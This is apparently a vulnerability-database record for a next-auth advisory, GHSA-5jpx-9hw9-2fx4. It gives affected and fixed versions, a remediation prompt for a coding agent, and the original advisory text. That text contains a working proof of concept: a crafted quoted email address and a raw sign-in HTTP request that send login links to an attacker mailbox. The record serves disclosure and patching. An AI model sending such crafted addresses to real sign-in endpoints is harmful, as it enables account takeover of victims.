{"answers":{"affected":"4 open source packages ship an affected version, including next-auth.","exploited":"There is no known exploitation of GHSA-5jpx-9hw9-2fx4 in the wild and no public exploit code.","fix":"Upgrade next-auth to a fixed version for your release line: 4.24.12 or 5.0.0-beta.30.","what":"GHSA-5jpx-9hw9-2fx4 is a vulnerability in next-auth, published on 29 Oct 2025. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-5jpx-9hw9-2fx4 and fix it if it is affected.\n\nWhat it is: GHSA-5jpx-9hw9-2fx4 is a vulnerability in next-auth, published on 29 Oct 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-5jpx-9hw9-2fx4 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- next-auth (npm): affected all versions; fixed in 4.24.12\n- next-auth (npm): affected all versions; fixed in 4.24.12\n- next-auth (npm): affected from 5.0.0-beta.0; fixed in 5.0.0-beta.30\n- next-auth (npm): affected from 5.0.0-beta.0; fixed in 5.0.0-beta.30\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-5jpx-9hw9-2fx4/ (Markdown: https://insights.sbomify.com/GHSA-5jpx-9hw9-2fx4/index.md)","id":"GHSA-5jpx-9hw9-2fx4","markdown":"https://insights.sbomify.com/GHSA-5jpx-9hw9-2fx4/index.md","name":"GHSA-5jpx-9hw9-2fx4","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["account_takeover","data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"NextAuth.js authentication library","requires_auth":"none","summary":"Attackers can intercept authentication emails by exploiting an email address parsing bug, allowing them to take over victim accounts.","user_interaction":"not_required","vuln_class":"business_logic"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nNextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`'s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as:\n\n```\n\"e@attacker.com\"@victim.com\n```\n\nis parsed incorrectly and results in the message being delivered to `e@attacker.com` (attacker) instead of `\"\u003ce@attacker.com\u003e@victim.com\"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.\n\n\u003ch2\u003eAffected NextAuthjs Version\u003c/h2\u003e\n\n≤ Version | Afftected\n-- | --\n4.24.11 | Yes\n5.0.0-beta.29 | Yes\n\n## POC\n\nExample Setup showing misdelivery of email \n\n```jsx\nimport NextAuth from \"next-auth\"\nimport Nodemailer from \"next-auth/providers/nodemailer\"\nimport { PrismaAdapter } from \"@auth/prisma-adapter\"\nimport { prisma } from \"@/lib/prisma\"\n\nexport const { handlers, auth, signIn, signOut } = NextAuth({\n  adapter: PrismaAdapter(prisma),\n  providers: [\n    Nodemailer({\n      server: {\n        host: \"127.0.0.1\",\n        port: 1025,\n        ...\n      },\n      from: \"noreply@authjs.dev\",\n    }),\n  ],\n  pages: {\n    signIn: '/auth/signin',\n    verifyRequest: '/auth/verify-request',\n  },\n})\n\n```\n\n```jsx\nPOST /api/auth/signin/nodemailer HTTP/1.1\nAccept-Encoding: gzip, deflate, br, zstd\nCache-Control: no-cache\nConnection: keep-alive\nContent-Length: 176\nDNT: 1\nHost: localhost:3000\nOrigin: http://localhost:3000\nPragma: no-cache\nReferer: http://localhost:3000/auth/signin\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36\naccept: */*\naccept-language: en-US,en;q=0.9,ta;q=0.8\ncontent-type: application/x-www-form-urlencoded\nsec-ch-ua: \"Google Chrome\";v=\"141\", \"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"141\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nx-auth-return-redirect: 1\n\nemail=%22e%40attacker.coccm%22%40victim.com\u0026csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a\u0026callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin\n```\n\n\u003cimg width=\"1247\" height=\"1408\" alt=\"Screenshot from 2025-10-25 21-15-25\" src=\"https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f\" /\u003e\n\u003cimg width=\"1279\" height=\"1450\" alt=\"Screenshot from 2025-10-25 21-14-47\" src=\"https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f\" /\u003e\n\n# Mitigation\n\nUpdate to nodemailer 7.0.7\n\n## Credits\n\nhttps://zeropath.com/  Helped identify this security issue","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"NextAuthjs Email misdelivery Vulnerability","id":"GHSA-5jpx-9hw9-2fx4","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"business_logic","year":"2025"},"n_packages":4,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["4.24.12"],"introduced":["0"],"last_affected":[],"package":"next-auth","purl":null,"source":"GHSA-5jpx-9hw9-2fx4"},{"ecosystem":"npm","fixed":["4.24.12"],"introduced":["0"],"last_affected":[],"package":"next-auth","purl":"pkg:npm/next-auth","source":"GHSA-5jpx-9hw9-2fx4"},{"ecosystem":"npm","fixed":["5.0.0-beta.30"],"introduced":["5.0.0-beta.0"],"last_affected":[],"package":"next-auth","purl":null,"source":"GHSA-5jpx-9hw9-2fx4"},{"ecosystem":"npm","fixed":["5.0.0-beta.30"],"introduced":["5.0.0-beta.0"],"last_affected":[],"package":"next-auth","purl":"pkg:npm/next-auth","source":"GHSA-5jpx-9hw9-2fx4"}],"products":null,"published":"2025-10-29","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can intercept authentication emails by exploiting an email address parsing bug, allowing them to take over victim accounts.","url":"https://insights.sbomify.com/GHSA-5jpx-9hw9-2fx4/"}